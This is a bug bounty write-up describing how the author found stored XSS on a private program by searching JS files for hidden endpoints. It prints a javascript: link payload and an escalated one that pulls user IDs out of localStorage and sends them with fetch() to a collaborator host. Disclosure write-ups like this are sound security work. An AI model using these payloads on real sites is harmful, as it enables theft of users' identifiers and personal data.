How I Discovered a Stored XSS Vulnerability in a Bug Bounty Program Using JS File Analysis

Hello friends, I will talk about a simple Stored XSS vulnerability I discovered in a private bug bounty program on Bugcrowd by searching for any hidden directories in JS files.

While wandering through the program application and trying to test each feature by injecting simple HTML payloads into every input field and analyzing the HTTP requests sent to see what I could obtain or test, I eventually found 2 CSRF vulnerabilities, but unfortunately, CSRF was out of scope.

I tried searching the JS files for any directories or any API endpoints that I hadn’t encountered. Usually, when searching for such content in JS files, I use Chrome’s developer tools and search for specific keywords or prefixes for API endpoints, such as:

As an additional step, I can choose any directory or endpoint I am in and search for it, so if I am at (https://subdomain.redacted.com/en/account-profile), I would search for the account-profile endpoint and see how it’s mentioned in the code, which is what I did.

It didn’t take long until I found a bunch of endpoints in the JS code:

How I Obtained Stored XSS by Searching JS Files

I tried each endpoint I found, and one endpoint I hadn’t encountered was (/platform/apps/lighthouse-homepage), and when I accessed that endpoint, I noticed one of my HTML payloads got rendered:

I returned to the Customers endpoint and tried re-updating the name and checked again to see the payload had changed, which assured me that it was injectable on that page. I tried multiple XSS payloads to get an ALERT with cookies, but what worked was the A Href payload:

test<ahref="javascript:alert(1)">clickme</a>

Unfortunately, the HTTPOnly flag was present in the Cookie, so it wouldn’t have much impact and would at least be accepted as P3. I didn’t want to report it just like that, so I attempted to escalate to something more significant.

What I looked at was LocalStorage, localStorage had many entries where one entry particularly contained a lot of PII information about accounts (email address, first name and last name, user ID, user permissions, etc.). I tried rewriting the payload after many trial-and-error attempts and discussed regex expressions with my dear friend ChatGPT to finally achieve:

<ahref="javascript:var match=JSON.stringify(localStorage).match(/ZNavIdentity.userId=[^&]+&currEntityId=[^&]+/);if(match)fetch('https://#collab.oastify/?cookie='+encodeURIComponent(match[0]))">ttt

The payload simply converts localStorage data to a String, then uses a regex to search for a specific key, encodes its value, and finally sends it to my collaborator. The localStorage data was too large, so I couldn’t just send all the data, which is why I tried using regex to get the necessary keys containing sensitive information.

I reported this vulnerability, and fortunately, after some time, I was accepted and rewarded:

How I Obtained Stored XSS by Searching JS Files